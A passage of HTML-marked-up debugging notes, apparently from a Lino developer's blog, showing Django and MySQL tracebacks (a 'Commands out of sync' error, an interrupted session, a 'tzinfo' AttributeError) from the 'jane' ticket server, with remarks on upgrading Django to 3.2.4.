  &lt;span class="n"&gt;The&lt;/span&gt; &lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;s session was deleted before the request completed. The user may have logged out in a concurrent request, for example.: /api/tickets/ActiveTickets/4194&lt;/span&gt;
&lt;span class="n"&gt;Traceback&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;most&lt;/span&gt; &lt;span class="n"&gt;recent&lt;/span&gt; &lt;span class="n"&gt;call&lt;/span&gt; &lt;span class="n"&gt;last&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/usr/local/lino/lino_local/jane/env/lib/python3.7/site-packages/django/db/backends/mysql/base.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;272&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;_set_autocommit&lt;/span&gt;
    &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;connection&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;autocommit&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;autocommit&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/usr/local/lino/lino_local/jane/env/lib/python3.7/site-packages/MySQLdb/connections.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;244&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;autocommit_mysql&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;connection&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;autocommit&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;on&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;MySQLdb&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;_exceptions&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ProgrammingError&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;2014&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;Commands out of sync; you can&amp;#39;t run this command now&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="n"&gt;The&lt;/span&gt; &lt;span class="n"&gt;above&lt;/span&gt; &lt;span class="n"&gt;exception&lt;/span&gt; &lt;span class="n"&gt;was&lt;/span&gt; &lt;span class="n"&gt;the&lt;/span&gt; &lt;span class="n"&gt;direct&lt;/span&gt; &lt;span class="n"&gt;cause&lt;/span&gt; &lt;span class="n"&gt;of&lt;/span&gt; &lt;span class="n"&gt;the&lt;/span&gt; &lt;span class="n"&gt;following&lt;/span&gt; &lt;span class="n"&gt;exception&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;

&lt;span class="n"&gt;Traceback&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;most&lt;/span&gt; &lt;span class="n"&gt;recent&lt;/span&gt; &lt;span class="n"&gt;call&lt;/span&gt; &lt;span class="n"&gt;last&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/usr/local/lino/lino_local/jane/env/lib/python3.7/site-packages/django/contrib/sessions/backends/db.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;87&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;save&lt;/span&gt;
    &lt;span class="n"&gt;obj&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;save&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;force_insert&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;must_create&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;force_update&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="n"&gt;must_create&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;using&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;using&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/usr/local/lino/lino_local/jane/env/lib/python3.7/site-packages/django/db/transaction.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;290&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="fm"&gt;__exit__&lt;/span&gt;
    &lt;span class="n"&gt;connection&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;set_autocommit&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kc"&gt;True&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/usr/local/lino/lino_local/jane/env/lib/python3.7/site-packages/django/db/backends/base/base.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;415&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;set_autocommit&lt;/span&gt;
    &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;_set_autocommit&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;autocommit&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/usr/local/lino/lino_local/jane/env/lib/python3.7/site-packages/django/db/backends/mysql/base.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;272&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;_set_autocommit&lt;/span&gt;
    &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;connection&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;autocommit&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;autocommit&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/usr/local/lino/lino_local/jane/env/lib/python3.7/site-packages/django/db/utils.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;90&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="fm"&gt;__exit__&lt;/span&gt;
    &lt;span class="k"&gt;raise&lt;/span&gt; &lt;span class="n"&gt;dj_exc_value&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;with_traceback&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;traceback&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;exc_value&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/usr/local/lino/lino_local/jane/env/lib/python3.7/site-packages/django/db/backends/mysql/base.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;272&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;_set_autocommit&lt;/span&gt;
    &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;connection&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;autocommit&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;autocommit&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/usr/local/lino/lino_local/jane/env/lib/python3.7/site-packages/MySQLdb/connections.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;244&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;autocommit&lt;/span&gt;
    &lt;span class="n"&gt;_mysql&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;connection&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;autocommit&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;on&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;django&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;db&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;utils&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ProgrammingError&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;2014&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;Commands out of sync; you can&amp;#39;t run this command now&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="n"&gt;During&lt;/span&gt; &lt;span class="n"&gt;handling&lt;/span&gt; &lt;span class="n"&gt;of&lt;/span&gt; &lt;span class="n"&gt;the&lt;/span&gt; &lt;span class="n"&gt;above&lt;/span&gt; &lt;span class="n"&gt;exception&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;another&lt;/span&gt; &lt;span class="n"&gt;exception&lt;/span&gt; &lt;span class="n"&gt;occurred&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;

&lt;span class="n"&gt;Traceback&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;most&lt;/span&gt; &lt;span class="n"&gt;recent&lt;/span&gt; &lt;span class="n"&gt;call&lt;/span&gt; &lt;span class="n"&gt;last&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/usr/local/lino/lino_local/jane/env/lib/python3.7/site-packages/django/contrib/sessions/middleware.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;61&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;process_response&lt;/span&gt;
    &lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;session&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;save&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/usr/local/lino/lino_local/jane/env/lib/python3.7/site-packages/django/contrib/sessions/backends/db.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;94&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;save&lt;/span&gt;
    &lt;span class="k"&gt;raise&lt;/span&gt; &lt;span class="n"&gt;UpdateError&lt;/span&gt;
&lt;span class="n"&gt;django&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;contrib&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sessions&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;backends&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;base&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;UpdateError&lt;/span&gt;

&lt;span class="n"&gt;During&lt;/span&gt; &lt;span class="n"&gt;handling&lt;/span&gt; &lt;span class="n"&gt;of&lt;/span&gt; &lt;span class="n"&gt;the&lt;/span&gt; &lt;span class="n"&gt;above&lt;/span&gt; &lt;span class="n"&gt;exception&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;another&lt;/span&gt; &lt;span class="n"&gt;exception&lt;/span&gt; &lt;span class="n"&gt;occurred&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;

&lt;span class="n"&gt;Traceback&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;most&lt;/span&gt; &lt;span class="n"&gt;recent&lt;/span&gt; &lt;span class="n"&gt;call&lt;/span&gt; &lt;span class="n"&gt;last&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/usr/local/lino/lino_local/jane/env/lib/python3.7/site-packages/django/core/handlers/exception.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;47&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;inner&lt;/span&gt;
    &lt;span class="n"&gt;response&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;get_response&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/usr/local/lino/lino_local/jane/env/lib/python3.7/site-packages/django/utils/deprecation.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;119&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="fm"&gt;__call__&lt;/span&gt;
    &lt;span class="n"&gt;response&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;process_response&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;response&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/usr/local/lino/lino_local/jane/env/lib/python3.7/site-packages/django/contrib/sessions/middleware.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;64&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;process_response&lt;/span&gt;
    &lt;span class="s2"&gt;&amp;quot;The request&amp;#39;s session was deleted before the &amp;quot;&lt;/span&gt;
&lt;span class="n"&gt;django&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;contrib&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sessions&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;exceptions&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;SessionInterrupted&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;The&lt;/span&gt; &lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;s session was deleted before the request completed. The user may have logged out in a concurrent request, for example.&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;I guess that this is another symptom of &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/4195"&gt;#4195&lt;/a&gt;. And I have now idea what
might be the reason.  And it is not reproducible. We can only collect such
tracebacks when they occur and try to get it in a reproducible way.&lt;/p&gt;
&lt;p&gt;I did pip install -U for Django and mysqlclient:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;Django upgrades from 3.2 to 3.2.4&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;mysqlclient remains 2.0.3&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/section&gt;
&lt;section id="attributeerror-str-object-has-no-attribute-tzinfo"&gt;
&lt;h2&gt;AttributeError: ‘str’ object has no attribute ‘tzinfo’&lt;a class="headerlink" href="#attributeerror-str-object-has-no-attribute-tzinfo" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;And after submitting a comment about this, I encountered another problem:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="mi"&gt;202106&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;09&lt;/span&gt; &lt;span class="mi"&gt;12&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;49&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;46&lt;/span&gt; &lt;span class="n"&gt;INFO&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;kernel&lt;/span&gt; &lt;span class="mi"&gt;23993&lt;/span&gt; &lt;span class="mi"&gt;140541549119360&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;run_action&lt;/span&gt; &lt;span class="n"&gt;luc&lt;/span&gt; &lt;span class="n"&gt;comments&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;CommentsByRFC&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;submit_insert&lt;/span&gt; &lt;span class="n"&gt;Ticket&lt;/span&gt; &lt;span class="c1"&gt;#4195 (&amp;#39;#4195 (🗪 Lost connection to MySQL server during query)&amp;#39;) []&lt;/span&gt;
&lt;span class="mi"&gt;202106&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;09&lt;/span&gt; &lt;span class="mi"&gt;12&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;49&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;46&lt;/span&gt; &lt;span class="n"&gt;ERROR&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;ajax&lt;/span&gt; &lt;span class="mi"&gt;23993&lt;/span&gt; &lt;span class="mi"&gt;140541549119360&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;AjaxExceptionResponse&lt;/span&gt; &lt;span class="ne"&gt;AttributeError&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;str&amp;#39;&lt;/span&gt; &lt;span class="nb"&gt;object&lt;/span&gt; &lt;span class="n"&gt;has&lt;/span&gt; &lt;span class="n"&gt;no&lt;/span&gt; &lt;span class="n"&gt;attribute&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;tzinfo&amp;#39;&lt;/span&gt;
&lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;request&lt;/span&gt; &lt;span class="n"&gt;POST&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;api&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;comments&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;CommentsByRFC&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;QueryDict&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="s1"&gt;&amp;#39;an&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;submit_insert&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
  &lt;span class="s1"&gt;&amp;#39;body&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&amp;lt;p&amp;gt;Jane is back now, with Django upgraded from 3.2 to 3.2.4. mysqlclient was already at the newest version.&amp;lt;/p&amp;gt;&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
  &lt;span class="s1"&gt;&amp;#39;disabled_fields&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;[object Object]&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;...&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;TRACEBACK&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/usr/local/lino/lino_local/jane/env/lib/python3.7/site-packages/django/core/handlers/base.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;181&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;_get_response&lt;/span&gt;
    &lt;span class="n"&gt;response&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;wrapped_callback&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;callback_args&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="n"&gt;callback_kwargs&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/usr/local/lino/lino_local/jane/env/lib/python3.7/site-packages/django/views/generic/base.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;70&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;view&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;dispatch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="n"&gt;kwargs&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/usr/local/lino/lino_local/jane/env/lib/python3.7/site-packages/django/views/generic/base.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;98&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;dispatch&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;handler&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="n"&gt;kwargs&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/usr/local/lino/lino_local/jane/env/lib/python3.7/site-packages/lino_react/react/views.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;109&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;post&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;settings&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;SITE&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;kernel&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;run_action&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ar&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/usr/local/lino/lino_local/jane/env/lib/python3.7/site-packages/lino/core/kernel.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;797&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;run_action&lt;/span&gt;
    &lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;run_from_ui&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ar&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
